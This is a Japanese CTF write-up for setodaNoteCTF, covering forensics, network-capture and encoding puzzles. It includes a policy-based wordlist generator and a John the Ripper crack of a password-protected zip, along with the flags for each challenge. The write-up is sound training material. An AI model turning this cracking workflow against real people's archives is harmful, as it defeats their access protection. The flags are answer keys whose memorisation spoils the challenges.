2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

setodaNoteCTF Writeup

Last updated at Posted at 2021-09-08

2021/08/21 21:00 〜 2021/09/04 21:00 (JST) の日程で開催された setodaNoteCTF に参加しました。全問解いて2位でした。

profile_summary.png

Writeup

Misc

[0pt] Thank_you_for_playing (12 solves)

全設問のフラグ獲得、おめでとうございます!

https[:]//youtu.be/<REDACTED>

回答

全問解くと出現する。YouTube のリンクを閲覧すると最後にフラグが得られる。作問の様子を映した映像だったが、すごく良かった。

flag{setodaNote_CTF}

[20pts] Welcome (523 solves)

ようこそ setodaNote CTF へ

これはチュートリアル用の設問です。本 CTF では Linux ターミナルが利用できます。以下の URL からログインし、ターミナル上に存在するファイル welcome.txt の内容を確認し、フラグを獲得してください。

 https://ctf.setodanote.net/webshell
 ※ログインに必要なユーザ名とパスワードは、本 CTF にご登録いただいているものと同じです。
 ※利用の必要がある設問の説明文には上記のリンクが記載されています。

回答

指定されたリンクへアクセスし、Webshell にログインする。welcome.txt があるので、表示するとフラグが得られる。

user@08803158dd7f:~$ ls
welcome.txt
user@08803158dd7f:~$ cat welcome.txt 

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

flag{Enjoy_y0ur_time_here!}

[30pts] morse_one (365 solves)

友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

Attachments: morse_one_e1f07b7e9e6336fa5651322a0770a7f015c748bf.zip

回答

添付ファイルを解凍すると morse_one.txt が得られる。内容は下記の通り。

DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

DBS の3種類が見える。タイトルからモールス信号だと推測できるので、それぞれ '.', '-', ' ' に変換し、CyberChef でデコードする。

flag{VIBROPLEX}

[50pts] Hash (378 solves)

ちくしょう、なんてことだ。知り合いから預かっていたファイルをゴミ箱に放り込みやがった。まだ中身の確認もしていなかったのにだ。問い詰める必要はあるだろうが、いまはとにかくファイルを取り戻すことが先決だ。優先順位を間違えてはいけない。とくにかくゴミ箱からファイルを取り戻さなくては。・・・なんだぁこいつは、ファイル名が書き換えられてしまっているじゃあないか。なんて野郎だクソっこれじゃほかのファイルと見分けがつかないじゃあないか。なんて日なんだ今日はよぉ。しかしまったくもって腹立たしいことは確かだが、まだ焦るのは早すぎるよなぁ。ぜんぜん焦る必要はねぇ。なぜならこっちにはファイルと共に受け取ったこのハッシュ値があるんだからよぉ・・・

添付ファイルを解析し、以下のハッシュ値を持つファイル見つけ出してください。フラグはそのファイルに記載されている文字列を組み合わせたものとなります。

aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962

Attachments: hash_f79daca71e3179dfa230505df0adf659a9df9d4a.zip

回答

添付ファイルを解凍すると、pass001.txt から pass090.txt までの90個のテキストファイルが得られる。この中から明示されたハッシュ値になるものを抽出すればよい。

import hashlib

hashes = '''aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962'''.splitlines()

for i in range(1, 91):
    txt = open(f'hash/pass0{i:02d}.txt').read()
    hash = hashlib.sha256(txt.encode()).hexdigest()

    if hash in hashes:
        print(txt.strip(), end='', flush=True)

flag{hardest_logic_puzzle}

[80pts] F (292 solves)

友人のプログラマーからあるテキストデータを受け取りました。中身はあるプログラミング言語で書かれたプログラムだというのですが、、、

以下のテキストデータを解析し、フラグを得てください。

+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

回答

BrainF*ck。ネット上で実行してくれるサービスを見つけてきて、実行させればフラグが得られる。

flag{Don't_Use_the_F-Word!!}

[80pts] magic_number (335 solves)

添付されたファイルから以下が示す3つのファイルを探してください。

[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]

フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。

flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}

例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。

[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip

Attachments: magic_number_3156a7f05faa4ff5e3ce0a9b7f381f21aeb16cfe.zip

回答

添付ファイルを解凍すると、様々な拡張子のファイルが得られる。マジックナンバーは各ファイルの先頭バイトを見れば良いので、xxd コマンド等を使って確認する。

$ for f in magic_number/*; do basename $f; xxd -g1 $f | head -n1; done
flag.txt
00000000: 66 6c 61 67 20 69 73 20 66 6c 61 67 7b 5b 38 39  flag is flag{[89
green.tif
00000000: 49 49 2a 00 6c 11 00 00 80 3f e0 4f f0 04 16 0d  II*.l....?.O....
light.jpg
00000000: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60  ......JFIF.....`
moon.gif
00000000: 47 49 46 38 39 61 ac 00 ba 00 70 00 00 21 f9 04  GIF89a....p..!..
mpmp.mp4
00000000: 00 00 00 20 66 74 79 70 69 73 6f 6d 00 00 02 00  ... ftypisom....
post.pdf
00000000: 25 50 44 46 2d 31 2e 34 0a 25 e2 e3 cf d3 0a 31  %PDF-1.4.%.....1
post.png
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52  .PNG........IHDR
rar.rar
00000000: 52 61 72 21 1a 07 01 00 33 92 b5 e5 0a 01 05 06  Rar!....3.......
sea.txt.bz2
00000000: 42 5a 68 39 31 41 59 26 53 59 44 fa 6f 19 00 00  BZh91AY&SYD.o...
silent.bmp
00000000: 42 4d 1e 77 01 00 00 00 00 00 36 00 00 00 28 00  BM.w......6...(.
undo.cab
00000000: 4d 53 43 46 00 00 00 00 55 00 00 00 00 00 00 00  MSCF....U.......
victory.zip
00000000: 50 4b 03 04 0a 00 00 00 00 00 8c ae f9 52 5a 00  PK...........RZ.

これらのうち、上記の条件を満たすのは順に post.pngrar.rarlight.jpg なので、フラグは次のようになる。

flag{post_rar_light}

[100pts] Stegano (239 solves)

友人からある画像が送られてきました。何かが写りこんでいるらしいのですが。

添付されたファイルを解析してフラグを入手してください。

Attachments: stegano_eb3e04daa889e546fac4b544c9f08a06915a7a41.zip

回答

添付ファイルを解凍すると、stegano.png が得られる。

stegano.png

目を凝らして見ると中央付近に 1s_cReA73d_by という文字が見えるため、画像内に文字を透かして埋め込んであると推測できる。それ以外の部分も同様の方法で得られると推測し、StegOnline に投げて確認した。

最下部の Browse Bit Pane を使用しポチポチ眺めていると、先頭部分と末尾部分はそれぞれ Red 4 と Blue 4 ではっきり確認できた。

flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}

[100pts] morse_zero (202 solves)

友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、マジの秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

Attachments: morse_zero_0523357224cbf4695b76ace1412332c7f1667a29.zip

回答

添付ファイルを解凍すると、morse_zero.txt が得られる。

‌‌​​Z​Z​‌​Z‌‌‌‌‌Z​​‌‌​‌Z​‌‌Z​‌‌‌‌Z‌​​Z‌Z​​​​Z​​‌‌​‌Z​​​Z​‌‌​Z​‌Z‌​‌​Z​

ターミナル上ではスペースと Z の文字しか確認できなかったが、空白部分になにかあると推測し、バイナリとして確認した。

$ xxd -g1 morse_zero.txt
00000000: e2 80 8c e2 80 8c e2 80 8b e2 80 8b 5a e2 80 8b  ............Z...
00000010: 5a e2 80 8b e2 80 8c e2 80 8b 5a e2 80 8c e2 80  Z.........Z.....
00000020: 8c e2 80 8c e2 80 8c e2 80 8c 5a e2 80 8b e2 80  ..........Z.....
00000030: 8b e2 80 8c e2 80 8c e2 80 8b e2 80 8c 5a e2 80  .............Z..
00000040: 8b e2 80 8c e2 80 8c 5a e2 80 8b e2 80 8c e2 80  .......Z........
00000050: 8c e2 80 8c e2 80 8c 5a e2 80 8c e2 80 8b e2 80  .......Z........
00000060: 8b 5a e2 80 8c 5a e2 80 8b e2 80 8b e2 80 8b e2  .Z...Z..........
00000070: 80 8b 5a e2 80 8b e2 80 8b e2 80 8c e2 80 8c e2  ..Z.............
00000080: 80 8b e2 80 8c 5a e2 80 8b e2 80 8b e2 80 8b 5a  .....Z.........Z
00000090: e2 80 8b e2 80 8c e2 80 8c e2 80 8b 5a e2 80 8b  ............Z...
000000a0: e2 80 8c 5a e2 80 8c e2 80 8b e2 80 8c e2 80 8b  ...Z............
000000b0: 5a e2 80 8b                                      Z...

e2 80 8be2 80 8c の2種類が見える。これをそれぞれ .- に変換し、Z はスペースに変換する。

$ xxd -p morse_zero.txt | tr -d '\n' | sed -E -e 's/e2808c/-/g' -e 's/e2808b/./g' -e 's/5a/ /g'
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .

あとは morse_one と同様に CyberChef に投げればよい。

flag{ZER0_W1DTH_SPACE}

[100pts] ransom_note (185 solves)

あなたの元に緊急の対応依頼が飛び込んできました。重要なファイルがランサムウェアによって暗号化されてしまった。なんとか助けてほしい。電話越しに状況を聞き取りつつ、1枚の画像が送られてきました。端末のディスプレイを写したもののようです。「No More Ransom Project の出番だな。」その画像を見た上司がつぶやきます。今回のあなたの仕事はランサムウェアによって暗号化されてしまったファイルを復元することです。

添付されたファイルを解析し、フラグを得てください。

Attachments: ransom_note_28fc5d9aca7665b120dcd52c01e5e16514076160.zip

回答

添付ファイルを解凍すると、以下の3つのファイルが得られる。

$ file ransom/*
ransom/Image from iOS.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 4032x3024, components 3
ransom/NPIEWI-DECRYPT.txt: Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
ransom/secret.txt.npiewi:  data

どうやら secret.txt がランサムウェアによって暗号化されてしまったので、それを復元してほしいという問題のようだった。NPIEWI-DECRYPT.txt を確認すると、GANDCRAB V5.0.3 と表示されている。これがランサムウェアの種類とバージョンだろうか。

問題文に 「No More Ransom Project の出番だな。」とある。no more ransom project gandcrab でググると、復号ツールがヒットした。

GandCrab (V1, V4 and V5 up to V5.2 versions) で暗号化されたファイルを復号するために BDGandCrabDecryptTool が設計されています。

詳細については、こちらのリンクをご覧ください。

ダウンロードして実行すると、復号したいディレクトリを選択する画面が現れるので、添付ファイルを解凍して出てきたディレクトリを選択すると、復号されフラグが得られる。

flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}

[120pts] Nothing (187 solves)

あなたは友人のプログラマーからあるテキストファイルを渡されました。中身を確認しますが画面には何も表示されません。何も書かれていないのか、いや、よく見ると、、、

添付されたファイルを解析してフラグを得てください。

Attachments: nothing_b044a7483b5fa221f1ab0326ce97e81f05189621.zip

回答

添付ファイルを解凍すると、nothing.txt が得られる。表示しても問題文の通り何も書かれていない。問題文中にある「プログラマー」から渡されたという文言から、Whitespace Programming と想像がつく。

ネット上で実行してくれるサービスを見つけて、ファイルの内容をコピペして実行すると、フラグが得られる。

flag{And_Then_There_Were_None}

[120pts] i_knew_it (124 solves)

「このアセンブリ、見た瞬間あなただと分かりましたよ。」

ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。

フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

Attachments: i_knew_it_1759c18bb0244d0148eccc7d9754a56fc055fe87.zip

回答

添付ファイルを解凍すると、i_knew_it.png が得られる。

i_knew_it.png

話は逸れるが、つい先日この記事を読んでいた。

最も分かりやすい特徴として、1 回目の for 文では 256(=100h)個の配列を 0 から 255 まで初期化している部分が挙げられます。この処理をコンパイルしてアセンブリを調べると、以下のような命令が含まれることが確認できます。ecx が指すアドレスに対するインデックスに対して、インデックスと同じ値を次々と代入しています。

  • mov [ecx+eax], al
  • inc eax
  • cmp eax, 100h

ちょうどここに書いてあった内容が活きた。問題文の「暗号形式」という部分と、画像左下の 100h という部分から、「たぶん RC4 だよな」と思ってしまった。見た瞬間、あなただと分かってしまいました。

flag{RC4}

[150pts] Redacted (211 solves)

あなたの友人のジャーナリストは極秘ファイルの入手に成功しました。ですが重要な部分が黒塗りにされてしまっているようです。このままでは真実が闇に葬り去られてしまいます。あなたは極秘ファイルの解析を依頼されました。

添付されたファイルを解析し、真実を明らかにしてください。

Attachments: redacted_37857eaa5bedd7b4715965b7db4d53196d60b854.zip

回答

添付ファイルを解凍すると、top_secret.pdf が得られる。中には重要な情報が黒塗りされていて閲覧できないようになっている。

方針としては、このPDFファイルを編集するなり、黒塗りされる前の画像を抽出するなりして、黒塗りされている部分を明らかにすれば良い。これが意外とどうしたらいいかわからず時間を食ってしまった。

結論、LibreOffice Draw で PDF を開くと、黒塗りしている短形を動かせたので、フラグが得られた。

flag{weather_balloon}

[250pts] strong_password (83 solves)

あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。

添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。

Attachments: strong_password_cd3badd6e12d8c9d0e39bde523f850cfc115f439.zip

回答

添付ファイルを解凍すると、TopSecret.zip情報セキュリティガイドライン(別紙1).pdf が得られる。UNIX系の unzip コマンドだと、2つ目のファイル名が文字化けする。TopSecret.zip はパスワードがかかっている。ガイドラインを確認すると、パスワードの形式が定められていることが分かるので、これを基に総当りすれば良さそうだ。

当初、Python の zipfile ライブラリを使って総当りで復号する手法で実施していたが、1日以上経っても解凍できなかった。この時点で10チームほどが解いていたので、方法を再検討した。

zip のパスワードクラックでは、zip2john を使ってハッシュ形式に変換し、JohnTheRipper で攻撃する方法があることを思い出した。辞書ファイルは Python で作成し、JohnTheRipeer にパスワードクラックさせた。

パスワードファイルはかなりの容量になってしまうため、何回かに分けて実施した。パスワード生成は以下のプログラムで実施した。

import string
import itertools
from datetime import datetime

alpha = string.ascii_letters
punc = '@#$%!-'

start = int(datetime(2021, 1, 1).timestamp())
end = int(datetime(2021, 4, 1).timestamp())

for ts in range(end, start-86400, -86400):
    pws = ''
    date = datetime.fromtimestamp(ts).strftime('%Y%m%d')
    print('\r[*] Generating', date, end='', flush=True)
    for a,b,c in itertools.product(alpha, repeat=3):
        for d,e in itertools.product(punc, repeat=2):
            pw = f'{a}{b}{c}{d}{date}{e}'
            pws += pw + '\n'

    open('pws.txt', 'a').write(pws)

これによって生成された pws.txt を辞書に、JohnTheRipper でパスワードクラックを実施した。

$ zip2john TopSecret.zip > zip.hash
ver 2.0 TopSecret.zip/TopSecret.txt PKZIP Encr: cmplen=85, decmplen=73, crc=8578F5F9 ts=92C0 cs=8578 type=0

$ john -wordlist:pws.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
qYL%20210228!    (TopSecret.zip/TopSecret.txt)     
1g 0:00:01:03 DONE (2021-08-23 10:18) 0.01582g/s 2589Kp/s 2589Kc/s 2589KC/s qXO$20210228!..qZY#20210228#
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

これにより qYL%20210228! がパスワードだと分かったので、これを使って TopSecret.zip を解凍すると TopSecret.txt が得られ、その中にフラグが書いてある。

$ unzip -P 'qYL%20210228!' TopSecret.zip
Archive:  TopSecret.zip
 extracting: TopSecret.txt           

$ cat TopSecret.txt
???̃p?X???[?h?????S?Ȃ͂????Ȃ??B

flag{And_n0w_h3re_is_my_s3cre7}

UNIX 環境だと相変わらず文字化けする。(文字化け部分は「このパスワードが安全なはずがない。」)

flag{And_n0w_h3re_is_my_s3cre7}

Network

[30pts] Host (396 solves)

あなたはある通信を保存したファイルを受け取りました。添付されたファイルを解析し、通信先の Web サーバのホスト名を特定してください。フラグはホスト名をフラグ形式で答えてください。例えばホスト名が host.example.com であった場合、フラグは flag{host.example.com} となります。

Attachments: host_d52855b24d8814504c54538f37af0355aa79214f.zip

回答

添付ファイルを解凍すると、host.pcap が得られる。Wireshark で開くと HTTP 通信が行われていることが確認でき、リクエストのパケット内に Host ヘッダがあるため、その値を入れる。

flag{ctf.setodanote.net}

[50pts] tkys_never_die (344 solves)

うまく爆発を避けれられているといいが。爆発音とともに通信が途切れる間際、後輩からデータが送られてきました。ターゲットが重要なファイルにアクセスしたことを示す証拠だと言い残して。後輩のためにもデータを解析し、重要なファイルの内容を特定してください。

添付されたファイルを解析し、フラグを得てください。

Attachments: tkys_never_die_a7b922065f7655087d2119a0a6138fdb32552333.zip

回答

添付ファイルを解凍すると、tkys_never_die.pcap が得られる。Wireshark で開くといくつかの HTTP 通信が行われており、その中に /flag.png にアクセスしているログがある。200 OK で画像を返しているので、それを抽出すると中にフラグが書いてある画像が得られた。

flag{a_treasure_trove}

[120pts] echo_request (249 solves)

組織内の通信を監視している部署から不審な通信データがあるので解析をしてほしいと依頼がありました。通信自体は許可されたプロトコルが使用されているようですが、、、

添付されたファイルを解析し、フラグを入手してください。

Attachments: echo_request_106246c13e711458e125e3f2381986d1bfa738d7.zip

回答

添付ファイルを解凍すると、echo_request.pcap が得られる。Wireshark で開くと大量の ICMP 通信が行われているが、その中でも Length が 60 のものを見ると、データ部分で1文字ずつフラグを送信しているように見える。

tshark コマンドで抽出し、フラグを得た。

$ tshark -r echo_request.pcap -Tfields -e 'data.data' 'icmp && frame.cap_len == 60' | tr -d '\n' | xxd -p -r
.....flag{ICMP_Tunneling_T1095}.....

flag{ICMP_Tunneling_T1095}

[150pts] stay_in_touch (160 solves)

あなたはある事件の調査としてある人物の通信を監視しています。どうやら誰かと連絡を取り合っているようです。通信データファイルを解析し、やりとりの内容を明らかにしてください。

添付されたファイルを解析し、フラグを入手してください。

Attachments: stay_in_touch_0a0fac9d55f8ea757bd3a4769a5affabe5cee365.zip

回答

添付ファイルを解凍すると、stay_in_touch.pcapng が得られる。Wireshark で開くと IMAP 通信が平文で行われており、内容を確認できる。

最初、オブジェクトのエクスポートから IMF を選択しメールを抽出したが、「パスワード通知」というタイトルのメールがある以外に怪しいものは確認できなかった。またそのパスワード通知のメールも内容が空になっていた。

次に実施したのは、imap でフィルタリングし、Length 順で並べ替えて、大きいものから見ていった。すると一番大きいもののなかに Report-AV-T0097.zip が添付されているメールがあることを確認した。またメール文が文字化けしていたが、エクスポートしてテキストエディタで開くと「パスワードは後で送ります」といった文言が確認できた。

あとはそのパケットから1つずつ後ろを見ていったところ、パスワードについて記載したメールも確認でき、それを用いて解凍したところ、フラグが得られた。

flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}

[150pts] yes_you_can (68 solves)

精密機械の技術者である古い友人から一通の封筒が送られてきました。中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。SD カードの中には1つのファイルが記録されていました。添付されたファイルを解析してフラグを入手してください。

Attachments: yes_you_can_2089f1ed0d0178be8ac43e0916deee3010063f3f.zip

回答

添付ファイルを解凍すると、dump.log が得られた。

$ file dump.log       
dump.log: ASCII text

$ wc -l dump.log
   94667 dump.log

$ head dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
(1628245600.160243) vcan0 161#000005500108002B
(1628245600.160245) vcan0 191#010010A141001A
(1628245600.160247) vcan0 133#00000000B6

94667 行もある。最初、何のファイルか全くわからなかったが、vcan0 をググると車などで使用される CAN通信 であることが分かった。正直仕様を見てもよく分からないので、この中にフラグを埋め込むとしたら ASCII 変換して 16進数の値を入れると推測した。

フラグの最後の文字 } を ASCIIコードに直すと 0x7D になる。これを検索した。

$ grep '7D' dump.log | head
(1628245600.438920) vcan0 244#000000017D
(1628245602.008345) vcan0 244#000000017D
(1628245625.010819) vcan0 244#0000007D00
(1628245625.026139) vcan0 244#0000007D00
(1628245625.036428) vcan0 244#0000007D00
(1628245625.051696) vcan0 244#0000007D00
(1628245625.067087) vcan0 244#0000007D00
(1628245625.077246) vcan0 244#0000007D00
(1628245625.092527) vcan0 244#0000007D00
(1628245625.107759) vcan0 244#0000007D00

すると全て 244# で始まるものがヒットした。同様に { の ASCIIコード 0x7B も実施したが、これも全て 244# で始まるものだった。そこで次に 244# で始まるものを抽出した。

$ grep '244#' dump.log | head
(1628245600.166569) vcan0 244#000000010D
(1628245600.178027) vcan0 244#0000000147
(1628245600.188333) vcan0 244#0000000187
(1628245600.203577) vcan0 244#0000000178
(1628245600.218839) vcan0 244#0000000147
(1628245600.234210) vcan0 244#000000012A
(1628245600.249815) vcan0 244#00000001AD
(1628245600.265225) vcan0 244#00000001F4
(1628245600.280577) vcan0 244#0000000146
(1628245600.295924) vcan0 244#00000001BA

87ADF4 など非ASCIIコードのものが多く出てきた。ここで先程では 00 で終わっていたものの中に 7B7D が含まれていたことを利用し、さらにフィルターした。

$ grep '244#' dump.log | grep -E '00$' | head
(1628245601.707384) vcan0 244#0000000100
(1628245605.005261) vcan0 244#0000006600
(1628245605.020564) vcan0 244#0000006600
(1628245605.035802) vcan0 244#0000006600
(1628245605.051115) vcan0 244#0000006600
(1628245605.061376) vcan0 244#0000006600
(1628245605.076673) vcan0 244#0000006600
(1628245605.091981) vcan0 244#0000006600
(1628245605.102269) vcan0 244#0000006600
(1628245605.117603) vcan0 244#0000006600

すると 66 がヒットした。これは文字に直すと f であるため、flag になるのではないかと推測した。重複を排除し、必要な部分だけ抽出してみる。

$ grep '244#' dump.log | grep -E '00$' | cut -d' ' -f3 | uniq | grep -oP '..(?=00$)' | tr -d '\n'
01666C61677B63616E5F6275735F6861636b696E677D01

あとはこれをASCIIコードを基に文字列に直すとフラグが得られる。

flag{can_bus_hacking}

[200pts] Digdig (121 solves)

組織内の通信を監視している部署からマルウェア感染した端末から他にはない不審な通信が発生していたことが分かり、急ぎ解析してほしいを依頼がありました。どうやら、通信自体は組織内で許可されているプロトコルが使用されていたため外部に通信できた可能性もあり焦っているようです。

添付されたファイルを解析し、フラグを入手してください。

Attachments: digdig_99aa521488e502c79837fe21b82786f9344dd938.zip

回答

添付ファイルを解凍すると、digdig.pcap が得られる。Wireshark で確認するといくらかの DNS 通信が行われていることが分かる。この DNS リクエストのサブドメインを確認すると、ASCII文字を16進数でエンコードしたような値になっていることが確認できる。tshark で抽出した。

$ tshark -r digdig.pcap -Tfields -e 'dns.qry.name' 'frame.number >= 15 && dns.qry.type == 1 && udp.dstport == 53'
005aa002735f69735f44414d.setodanote.net
005aa00663655f7472795f53.setodanote.net
005aa0034d595f464c41477d.setodanote.net
005aa0085f746861747d2066.setodanote.net
005aa00a6c61677b444e535f.setodanote.net
005aa00b5333637572313779.setodanote.net
005aa0076f7272795f666f72.setodanote.net
005aa00420666c6167206973.setodanote.net
005aa0096c61672069732066.setodanote.net
005aa00c5f5431303731217d.setodanote.net
005aa011797d323232323232.setodanote.net
005aa00d20666c6167206973.setodanote.net
005aa00f335f6b33795f3135.setodanote.net
005aa00e20666c61677b3768.setodanote.net
005aa001666c61677b546869.setodanote.net
005aa0105f35336375723137.setodanote.net
005aa000666c616720697320.setodanote.net
005aa00520666c61677b4e69.setodanote.net

このうち最初の 6文字は、常に固定のため無視して良いと考えられる。7,8 文字目は16進数で 0011 となっており、順番を示している可能性があることから残す。.setodanote.net は不要なので排除する。この操作の結果を queries.txt に記録し、再操作する。

$ grep -oP '^.{6}\K[^.]+' queries.txt | sed -E -e 's/^(..)/\1 /' | sort | cut -d' ' -f2 | xxd -p -r
flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222

どれが本当のフラグかよくわからないが、以下で通った。

flag{DNS_S3cur17y_T1071!}

[250pts] Logger (115 solves)

夕暮れ時、あなたの携帯が鳴動します。相手の番号は不明。非通知は拒否設定のはずと不思議に思いつつ電話に出ると「お前の秘密を知っている」と低い男の声が聞こえすぐに切れてしまいました。直後、あなたの携帯にファイルが添付された空白のメールが届きます。

添付されたファイルを解析してフラグを入手してください。

Attachments: logger_a8b5f325a5cdc58727c9b118215d6781278ae956.zip

回答

添付ファイルを解凍すると、logger.pcap が得られる。Wireshark で確認すると USB 通信のようである。おそらくキーボードのタイプ入力を記録したものと思われるので、以下のツールを使用した。

ここの使い方にあるように、tshark でデータを抽出した後、このツールを使用する。

$ tshark -r logger.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > dump.txt
$ python3 ctf-usb-keyboard-parser/usbkeyboard.py dump.txt
One popular but unverified explanation for the QWERTY arrangement is that it was designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal clashing of typebars by placing commonly used combinations of letters farther from each oher inside the machine.

flag{QWE_keyb0ard_RTY}

[250pts] tkys_not_enough (80 solves)

せっかく内偵中の後輩から通信データが送られてきたのに。いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。

添付されたファイルを解析し、フラグを入手してください。

Attachments: tkys_not_enough_f507dcce61ae66582647ffd96278556793825a46.zip

回答

添付ファイルを解凍すると、tkys_not_enough.pcap が得られる。Wireshark で開こうとしたが見られない。file コマンドで確認するとファイルを識別できなかった。

xxd コマンドでファイルを確認していると、最初の方に Relogger C:\Users\setodaNoteCTF\nicetry\Temp\NetTraces\NetTrace.etl という文字列が確認できた。これについてググると netsh というコマンドで生成されたキャプチャファイルのようだった。

.etl 形式のファイルを Wireshark で読める形式に変換するツールについて調べると、以下のツールが見つかった。

これを用いて変換したファイルを Wireshark で確認すると TCP通信の中に gzip 形式で圧縮されたデータのやり取りが確認できた。これを out.gz に抽出して解凍を試みる。

$ gunzip out.gz

gzip: out.gz: invalid compressed data--crc error

gzip: out.gz: invalid compressed data--length error

エラーが出て解凍できなかった。回避方法について調べると以下のサイトにたどり着いた。この情報を基に再度解凍を試みた。

$ gzip -dc out.gz
I'm going to practice making origami cranes so that I ic an foldhatem for youo tme day, okay?


flag{netw0rk_shell_2000}



gzip: out.gz: invalid compressed data--crc error

gzip: out.gz: invalid compressed data--length error

flag{netw0rk_shell_2000}

Web

[30pts] Body (458 solves)

作成中のサイトに機密情報が含まれてしまっているようです。サイトにアクセスして機密情報を見つけ出してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

https://ctf.setodanote.net/web001/

回答

指定されたURLにアクセスし、HTMLソースを表示したところ、フラグが記載されていた。

flag{Section_9}

[50pts] Header (367 solves)

作成中のサイトを管理しているサーバに問題があり、機密情報が漏洩しているようです。サイトにアクセスして機密情報を特定してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

https://ctf.setodanote.net/web002/

回答

タイトルの通り、アクセスした際のヘッダに記載されていた。

$ curl -sS -i https://ctf.setodanote.net/web002/ | grep -oP 'flag{.*?}'
flag{Just_a_whisper}
flag{<!-- ここにはフラグはありません -->}

flag{Just_a_whisper}

[80pts] puni_puni (362 solves)

近所の子供から「ぷにぷにこーどあげるね」と1枚の紙を手渡されました。見ると子供の字とは思えない正確な書体で英数字がびっしりと書き込まれています。これはいったい。そう聞こうとしましたが、紙に意識を取られた一瞬のうちにその子供はいなくなっていました。

紙に書かれた文字列を解析し、フラグを入手してください。フラグは得られた文字列を flag{} で囲んで答えてください。例えば flag が得られた場合は flag{flag} と入力します。

xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
